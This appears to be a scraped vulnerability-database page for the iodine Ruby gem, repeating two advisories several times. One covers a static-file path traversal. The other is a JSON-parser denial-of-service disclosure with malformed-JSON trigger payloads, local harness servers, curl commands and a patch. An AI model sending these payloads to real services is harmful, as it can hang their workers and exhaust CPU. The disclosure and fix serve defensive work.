            0.7.46


            0.7.47


            0.7.48


            0.7.49


            0.7.5


            0.7.50


            0.7.51


            0.7.52


            0.7.53


            0.7.54


            0.7.55


            0.7.56


            0.7.57


            0.7.58


            0.7.6


            0.7.7


            0.7.8


            0.7.9

References

Updated Jun 08, 2026 · Source: OSV.dev

CVE-2024-22050 GHSA-85rf-xh54-whp3 Oct 07, 2019

Malicious URL drafting attack against iodines static file server may allow path traversal

7.5 / 10

High

Network Low None None Unchanged High None None

Impact

A path traversal vulnerability was detected in iodine's static file service. This vulnerability effects any application running iodine's static file server on an effected iodine version.

Malicious URL drafting may cause the static file server to attempt a response containing data from files that shouldn't be normally accessible from the public folder.

Patches

The vulnerability was patched in version 0.7.34. Please upgrade to the latest version.

Workarounds

A possible workaround would be to disable the static file service and it's X-Sendfile support, sending static files using nginx or a source code solution (sending the data dynamically).

However, it would be better to upgrade iodine to the latest version, as it also contains non-security related fixes.

For more information

If you have any questions or comments about this advisory:

Email Boaz Segev

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 98 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.4


            0.7.5


            0.7.6


            0.7.7


            0.7.8


            0.7.9

Fixed in


          0.7.34

References

Updated Jul 08, 2026 · Source: OSV.dev

May 17, 2019

0.7.29 patch

2 CVEs

CVE-2026-41146 GHSA-2x79-gwq3-vxxm Apr 14, 2026

Uncontrolled resource consumption and loop with unreachable exit condition in facil.io and downstream iodine ruby gem

High

Network Low None None

Summary

fio_json_parse can enter an infinite loop when it encounters a nested JSON value starting with i or I. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because iodine vendors the same parser code, the issue also affects iodine when it parses attacker-controlled JSON.

The smallest reproducer found is [i. The quoted-value form that originally exposed the issue, [""i, reaches the same bug because the parser tolerates missing commas and then treats the trailing i as the start of another value.

Details

The vulnerable logic is in lib/facil/fiobj/fio_json_parser.h around the numeral handling block (0.7.5 / 0.7.6: lines 434-468; master: lines 434-468 in the current tree as tested).

This parser is reached from real library entry points, not just the header in isolation:

facil.io: lib/facil/fiobj/fiobj_json.c:377-387 (fiobj_json2obj) and 402-411 (fiobj_hash_update_json)
iodine: ext/iodine/iodine_json.c:161-177 (iodine_json_convert)
iodine: ext/iodine/fiobj_json.c:377-387 and 402-411

Relevant flow:

Inside an array or object, the parser sees i or I and jumps to the numeral: label.
It calls fio_atol((char **)&tmp).
For a bare i / I, fio_atol consumes zero characters and leaves tmp == pos.
The current code only falls back to float parsing when JSON_NUMERAL[*tmp] is true.
JSON_NUMERAL['i'] == 0, so the parser incorrectly accepts the value as an integer and sets pos = tmp without advancing.
Because parsing is still nested (parser->depth > 0), the outer loop continues forever with the same pos.

The same logic exists in iodine's vendored copy at ext/iodine/fio_json_parser.h lines 434-468.

Why the [""i form hangs:

The parser accepts the empty string "" as the first array element.
It does not require a comma before the next token.
The trailing i is then parsed as a new nested value.
The zero-progress numeral path above causes the infinite loop.

Examples that trigger the bug:

Array form, minimal: [i
Object form: {"a":i
After a quoted value in an array: [""i
After a quoted value in an object: {"a":""i

PoC

Environment used for verification:

facil.io commit: 162df84001d66789efa883eebb0567426d00148e
iodine commit: 5bebba698d69023cf47829afe51052f8caa6c7f8
standalone compile against fio_json_parser.h

Minimal standalone program

Use the normal HTTP stack. The following server calls http_parse_body(h), which reaches fiobj_json2obj and then fio_json_parse for Content-Type: application/json.

#define _POSIX_C_SOURCE 200809L

#include <stdio.h>
#include <time.h>
#include <fio.h>
#include <http.h>

static void on_request(http_s *h) {
  fprintf(stderr, "calling http_parse_body\n");
  fflush(stderr);
  http_parse_body(h);
  fprintf(stderr, "returned from http_parse_body\n");
  http_send_body(h, "ok\n", 3);
}

int main(void) {
  if (http_listen("3000", "127.0.0.1",
                  .on_request = on_request,
                  .max_body_size = (1024 * 1024),
                  .log = 1) == -1) {
    perror("http_listen");
    return 1;
  }
  fio_start(.threads = 1, .workers = 1);
  return 0;
}

http_parse_body(h) is the higher-level entry point and, for Content-Type: application/json, it reaches fiobj_json2obj in lib/facil/http/http.c:1947-1953.

Save it as src/main.c in a vulnerable facil.io checkout and build it with the repo makefile:

git checkout 0.7.6
mkdir -p src
make NAME=http_json_poc

Run:

./tmp/http_json_poc

Then in another terminal send one of these payloads:

printf '[i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/

Observed result on a vulnerable build:

The server prints calling http_parse_body and never reaches returned from http_parse_body.
The request never completes.
One worker thread spins until the process is killed.

Downstream impact in `iodine`

iodine vendors the same parser implementation in ext/iodine/fio_json_parser.h, so any iodine code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior.

Single-file iodine HTTP server repro:

require "iodine"

APP = proc do |env|
  body = env["rack.input"].read.to_s
  warn "calling Iodine::JSON.parse on: #{body.inspect}"
  Iodine::JSON.parse(body)
  warn "returned from Iodine::JSON.parse"
  [200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok\n"]]
end

Iodine.listen service: :http,
              address: "127.0.0.1",
              port: "3000",
              handler: APP

Iodine.threads = 1
Iodine.workers = 1
Iodine.start

Run:

ruby iodine_json_parse_http_poc.rb

Then in a second terminal:

printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/

On a vulnerable build, the server prints the calling Iodine::JSON.parse... line but never prints the returned from Iodine::JSON.parse line for these payloads.

Impact

This is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted.

I would describe the impact as:

Availability impact: high for affected parser entry points
Confidentiality impact: none observed
Integrity impact: none observed

Suggested Patch

Treat zero-consumption numeric parses as failures before accepting the token.

diff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h
@@
       uint8_t *tmp = pos;
       long long i = fio_atol((char **)&tmp);
       if (tmp > limit)
         goto stop;
-      if (!tmp || JSON_NUMERAL[*tmp]) {
+      if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {
         tmp = pos;
         double f = fio_atof((char **)&tmp);
         if (tmp > limit)
           goto stop;
-        if (!tmp || JSON_NUMERAL[*tmp])
+        if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])
           goto error;
         fio_json_on_float(parser, f);
         pos = tmp;

This preserves permissive inf / nan handling when the float parser actually consumes input, but rejects bare i / I tokens that otherwise leave the cursor unchanged.

The same change should be mirrored to iodine's vendored copy:

ext/iodine/fio_json_parser.h

Impact

facil.io
- Verified on master commit 162df84001d66789efa883eebb0567426d00148e (git describe: 0.7.5-24-g162df840)
- Verified on tagged releases 0.7.5 and 0.7.6
iodine Ruby gem
- Verified on repo commit 5bebba698d69023cf47829afe51052f8caa6c7f8
- Verified on tag / gem version v0.7.58
- The gem vendors a copy of the vulnerable parser in ext/iodine/fio_json_parser.h

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 123 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.34


            0.7.35


            0.7.36


            0.7.37


            0.7.38


            0.7.39


            0.7.4


            0.7.40


            0.7.41


            0.7.42


            0.7.43


            0.7.44


            0.7.45


            0.7.46


            0.7.47


            0.7.48


            0.7.49


            0.7.5


            0.7.50


            0.7.51


            0.7.52


            0.7.53


            0.7.54


            0.7.55


            0.7.56


            0.7.57


            0.7.58


            0.7.6


            0.7.7


            0.7.8


            0.7.9

References

Updated Jun 08, 2026 · Source: OSV.dev

CVE-2024-22050 GHSA-85rf-xh54-whp3 Oct 07, 2019

Malicious URL drafting attack against iodines static file server may allow path traversal

7.5 / 10

High

Network Low None None Unchanged High None None

Impact

A path traversal vulnerability was detected in iodine's static file service. This vulnerability effects any application running iodine's static file server on an effected iodine version.

Malicious URL drafting may cause the static file server to attempt a response containing data from files that shouldn't be normally accessible from the public folder.

Patches

The vulnerability was patched in version 0.7.34. Please upgrade to the latest version.

Workarounds

A possible workaround would be to disable the static file service and it's X-Sendfile support, sending static files using nginx or a source code solution (sending the data dynamically).

However, it would be better to upgrade iodine to the latest version, as it also contains non-security related fixes.

For more information

If you have any questions or comments about this advisory:

Email Boaz Segev

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 98 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.4


            0.7.5


            0.7.6


            0.7.7


            0.7.8


            0.7.9

Fixed in


          0.7.34

References

Updated Jul 08, 2026 · Source: OSV.dev

Apr 01, 2019

0.7.28 patch

2 CVEs

CVE-2026-41146 GHSA-2x79-gwq3-vxxm Apr 14, 2026

Uncontrolled resource consumption and loop with unreachable exit condition in facil.io and downstream iodine ruby gem

High

Network Low None None

Summary

fio_json_parse can enter an infinite loop when it encounters a nested JSON value starting with i or I. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because iodine vendors the same parser code, the issue also affects iodine when it parses attacker-controlled JSON.

The smallest reproducer found is [i. The quoted-value form that originally exposed the issue, [""i, reaches the same bug because the parser tolerates missing commas and then treats the trailing i as the start of another value.

Details

The vulnerable logic is in lib/facil/fiobj/fio_json_parser.h around the numeral handling block (0.7.5 / 0.7.6: lines 434-468; master: lines 434-468 in the current tree as tested).

This parser is reached from real library entry points, not just the header in isolation:

facil.io: lib/facil/fiobj/fiobj_json.c:377-387 (fiobj_json2obj) and 402-411 (fiobj_hash_update_json)
iodine: ext/iodine/iodine_json.c:161-177 (iodine_json_convert)
iodine: ext/iodine/fiobj_json.c:377-387 and 402-411

Relevant flow:

Inside an array or object, the parser sees i or I and jumps to the numeral: label.
It calls fio_atol((char **)&tmp).
For a bare i / I, fio_atol consumes zero characters and leaves tmp == pos.
The current code only falls back to float parsing when JSON_NUMERAL[*tmp] is true.
JSON_NUMERAL['i'] == 0, so the parser incorrectly accepts the value as an integer and sets pos = tmp without advancing.
Because parsing is still nested (parser->depth > 0), the outer loop continues forever with the same pos.

The same logic exists in iodine's vendored copy at ext/iodine/fio_json_parser.h lines 434-468.

Why the [""i form hangs:

The parser accepts the empty string "" as the first array element.
It does not require a comma before the next token.
The trailing i is then parsed as a new nested value.
The zero-progress numeral path above causes the infinite loop.

Examples that trigger the bug:

Array form, minimal: [i
Object form: {"a":i
After a quoted value in an array: [""i
After a quoted value in an object: {"a":""i

PoC

Environment used for verification:

facil.io commit: 162df84001d66789efa883eebb0567426d00148e
iodine commit: 5bebba698d69023cf47829afe51052f8caa6c7f8
standalone compile against fio_json_parser.h

Minimal standalone program

Use the normal HTTP stack. The following server calls http_parse_body(h), which reaches fiobj_json2obj and then fio_json_parse for Content-Type: application/json.

#define _POSIX_C_SOURCE 200809L

#include <stdio.h>
#include <time.h>
#include <fio.h>
#include <http.h>

static void on_request(http_s *h) {
  fprintf(stderr, "calling http_parse_body\n");
  fflush(stderr);
  http_parse_body(h);
  fprintf(stderr, "returned from http_parse_body\n");
  http_send_body(h, "ok\n", 3);
}

int main(void) {
  if (http_listen("3000", "127.0.0.1",
                  .on_request = on_request,
                  .max_body_size = (1024 * 1024),
                  .log = 1) == -1) {
    perror("http_listen");
    return 1;
  }
  fio_start(.threads = 1, .workers = 1);
  return 0;
}

http_parse_body(h) is the higher-level entry point and, for Content-Type: application/json, it reaches fiobj_json2obj in lib/facil/http/http.c:1947-1953.

Save it as src/main.c in a vulnerable facil.io checkout and build it with the repo makefile:

git checkout 0.7.6
mkdir -p src
make NAME=http_json_poc

Run:

./tmp/http_json_poc

Then in another terminal send one of these payloads:

printf '[i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/

Observed result on a vulnerable build:

The server prints calling http_parse_body and never reaches returned from http_parse_body.
The request never completes.
One worker thread spins until the process is killed.

Downstream impact in `iodine`

iodine vendors the same parser implementation in ext/iodine/fio_json_parser.h, so any iodine code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior.

Single-file iodine HTTP server repro:

require "iodine"

APP = proc do |env|
  body = env["rack.input"].read.to_s
  warn "calling Iodine::JSON.parse on: #{body.inspect}"
  Iodine::JSON.parse(body)
  warn "returned from Iodine::JSON.parse"
  [200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok\n"]]
end

Iodine.listen service: :http,
              address: "127.0.0.1",
              port: "3000",
              handler: APP

Iodine.threads = 1
Iodine.workers = 1
Iodine.start

Run:

ruby iodine_json_parse_http_poc.rb

Then in a second terminal:

printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/

On a vulnerable build, the server prints the calling Iodine::JSON.parse... line but never prints the returned from Iodine::JSON.parse line for these payloads.

Impact

This is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted.

I would describe the impact as:

Availability impact: high for affected parser entry points
Confidentiality impact: none observed
Integrity impact: none observed

Suggested Patch

Treat zero-consumption numeric parses as failures before accepting the token.

diff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h
@@
       uint8_t *tmp = pos;
       long long i = fio_atol((char **)&tmp);
       if (tmp > limit)
         goto stop;
-      if (!tmp || JSON_NUMERAL[*tmp]) {
+      if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {
         tmp = pos;
         double f = fio_atof((char **)&tmp);
         if (tmp > limit)
           goto stop;
-        if (!tmp || JSON_NUMERAL[*tmp])
+        if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])
           goto error;
         fio_json_on_float(parser, f);
         pos = tmp;

This preserves permissive inf / nan handling when the float parser actually consumes input, but rejects bare i / I tokens that otherwise leave the cursor unchanged.

The same change should be mirrored to iodine's vendored copy:

ext/iodine/fio_json_parser.h

Impact

facil.io
- Verified on master commit 162df84001d66789efa883eebb0567426d00148e (git describe: 0.7.5-24-g162df840)
- Verified on tagged releases 0.7.5 and 0.7.6
iodine Ruby gem
- Verified on repo commit 5bebba698d69023cf47829afe51052f8caa6c7f8
- Verified on tag / gem version v0.7.58
- The gem vendors a copy of the vulnerable parser in ext/iodine/fio_json_parser.h

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 123 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.34


            0.7.35


            0.7.36


            0.7.37


            0.7.38


            0.7.39


            0.7.4


            0.7.40


            0.7.41


            0.7.42


            0.7.43


            0.7.44


            0.7.45


            0.7.46


            0.7.47


            0.7.48


            0.7.49


            0.7.5


            0.7.50


            0.7.51


            0.7.52


            0.7.53


            0.7.54


            0.7.55


            0.7.56


            0.7.57


            0.7.58


            0.7.6


            0.7.7


            0.7.8


            0.7.9

References

Updated Jun 08, 2026 · Source: OSV.dev

CVE-2024-22050 GHSA-85rf-xh54-whp3 Oct 07, 2019

Malicious URL drafting attack against iodines static file server may allow path traversal

7.5 / 10

High

Network Low None None Unchanged High None None

Impact

A path traversal vulnerability was detected in iodine's static file service. This vulnerability effects any application running iodine's static file server on an effected iodine version.

Malicious URL drafting may cause the static file server to attempt a response containing data from files that shouldn't be normally accessible from the public folder.

Patches

The vulnerability was patched in version 0.7.34. Please upgrade to the latest version.

Workarounds

A possible workaround would be to disable the static file service and it's X-Sendfile support, sending static files using nginx or a source code solution (sending the data dynamically).

However, it would be better to upgrade iodine to the latest version, as it also contains non-security related fixes.

For more information

If you have any questions or comments about this advisory:

Email Boaz Segev

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 98 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.4


            0.7.5


            0.7.6


            0.7.7


            0.7.8


            0.7.9

Fixed in


          0.7.34

References

Updated Jul 08, 2026 · Source: OSV.dev

Mar 30, 2019

0.7.27 patch

2 CVEs

CVE-2026-41146 GHSA-2x79-gwq3-vxxm Apr 14, 2026

Uncontrolled resource consumption and loop with unreachable exit condition in facil.io and downstream iodine ruby gem

High

Network Low None None

Summary

fio_json_parse can enter an infinite loop when it encounters a nested JSON value starting with i or I. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because iodine vendors the same parser code, the issue also affects iodine when it parses attacker-controlled JSON.

The smallest reproducer found is [i. The quoted-value form that originally exposed the issue, [""i, reaches the same bug because the parser tolerates missing commas and then treats the trailing i as the start of another value.

Details

The vulnerable logic is in lib/facil/fiobj/fio_json_parser.h around the numeral handling block (0.7.5 / 0.7.6: lines 434-468; master: lines 434-468 in the current tree as tested).

This parser is reached from real library entry points, not just the header in isolation:

facil.io: lib/facil/fiobj/fiobj_json.c:377-387 (fiobj_json2obj) and 402-411 (fiobj_hash_update_json)
iodine: ext/iodine/iodine_json.c:161-177 (iodine_json_convert)
iodine: ext/iodine/fiobj_json.c:377-387 and 402-411

Relevant flow:

Inside an array or object, the parser sees i or I and jumps to the numeral: label.
It calls fio_atol((char **)&tmp).
For a bare i / I, fio_atol consumes zero characters and leaves tmp == pos.
The current code only falls back to float parsing when JSON_NUMERAL[*tmp] is true.
JSON_NUMERAL['i'] == 0, so the parser incorrectly accepts the value as an integer and sets pos = tmp without advancing.
Because parsing is still nested (parser->depth > 0), the outer loop continues forever with the same pos.

The same logic exists in iodine's vendored copy at ext/iodine/fio_json_parser.h lines 434-468.

Why the [""i form hangs:

The parser accepts the empty string "" as the first array element.
It does not require a comma before the next token.
The trailing i is then parsed as a new nested value.
The zero-progress numeral path above causes the infinite loop.

Examples that trigger the bug:

Array form, minimal: [i
Object form: {"a":i
After a quoted value in an array: [""i
After a quoted value in an object: {"a":""i

PoC

Environment used for verification:

facil.io commit: 162df84001d66789efa883eebb0567426d00148e
iodine commit: 5bebba698d69023cf47829afe51052f8caa6c7f8
standalone compile against fio_json_parser.h

Minimal standalone program

Use the normal HTTP stack. The following server calls http_parse_body(h), which reaches fiobj_json2obj and then fio_json_parse for Content-Type: application/json.

#define _POSIX_C_SOURCE 200809L

#include <stdio.h>
#include <time.h>
#include <fio.h>
#include <http.h>

static void on_request(http_s *h) {
  fprintf(stderr, "calling http_parse_body\n");
  fflush(stderr);
  http_parse_body(h);
  fprintf(stderr, "returned from http_parse_body\n");
  http_send_body(h, "ok\n", 3);
}

int main(void) {
  if (http_listen("3000", "127.0.0.1",
                  .on_request = on_request,
                  .max_body_size = (1024 * 1024),
                  .log = 1) == -1) {
    perror("http_listen");
    return 1;
  }
  fio_start(.threads = 1, .workers = 1);
  return 0;
}

http_parse_body(h) is the higher-level entry point and, for Content-Type: application/json, it reaches fiobj_json2obj in lib/facil/http/http.c:1947-1953.

Save it as src/main.c in a vulnerable facil.io checkout and build it with the repo makefile:

git checkout 0.7.6
mkdir -p src
make NAME=http_json_poc

Run:

./tmp/http_json_poc

Then in another terminal send one of these payloads:

printf '[i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/

Observed result on a vulnerable build:

The server prints calling http_parse_body and never reaches returned from http_parse_body.
The request never completes.
One worker thread spins until the process is killed.

Downstream impact in `iodine`

iodine vendors the same parser implementation in ext/iodine/fio_json_parser.h, so any iodine code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior.

Single-file iodine HTTP server repro:

require "iodine"

APP = proc do |env|
  body = env["rack.input"].read.to_s
  warn "calling Iodine::JSON.parse on: #{body.inspect}"
  Iodine::JSON.parse(body)
  warn "returned from Iodine::JSON.parse"
  [200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok\n"]]
end

Iodine.listen service: :http,
              address: "127.0.0.1",
              port: "3000",
              handler: APP

Iodine.threads = 1
Iodine.workers = 1
Iodine.start

Run:

ruby iodine_json_parse_http_poc.rb

Then in a second terminal:

printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/

On a vulnerable build, the server prints the calling Iodine::JSON.parse... line but never prints the returned from Iodine::JSON.parse line for these payloads.

Impact

This is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted.

I would describe the impact as:

Availability impact: high for affected parser entry points
Confidentiality impact: none observed
Integrity impact: none observed

Suggested Patch

Treat zero-consumption numeric parses as failures before accepting the token.

diff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h
@@
       uint8_t *tmp = pos;
       long long i = fio_atol((char **)&tmp);
       if (tmp > limit)
         goto stop;
-      if (!tmp || JSON_NUMERAL[*tmp]) {
+      if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {
         tmp = pos;
         double f = fio_atof((char **)&tmp);
         if (tmp > limit)
           goto stop;
-        if (!tmp || JSON_NUMERAL[*tmp])
+        if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])
           goto error;
         fio_json_on_float(parser, f);
         pos = tmp;

This preserves permissive inf / nan handling when the float parser actually consumes input, but rejects bare i / I tokens that otherwise leave the cursor unchanged.

The same change should be mirrored to iodine's vendored copy:

ext/iodine/fio_json_parser.h

Impact

facil.io
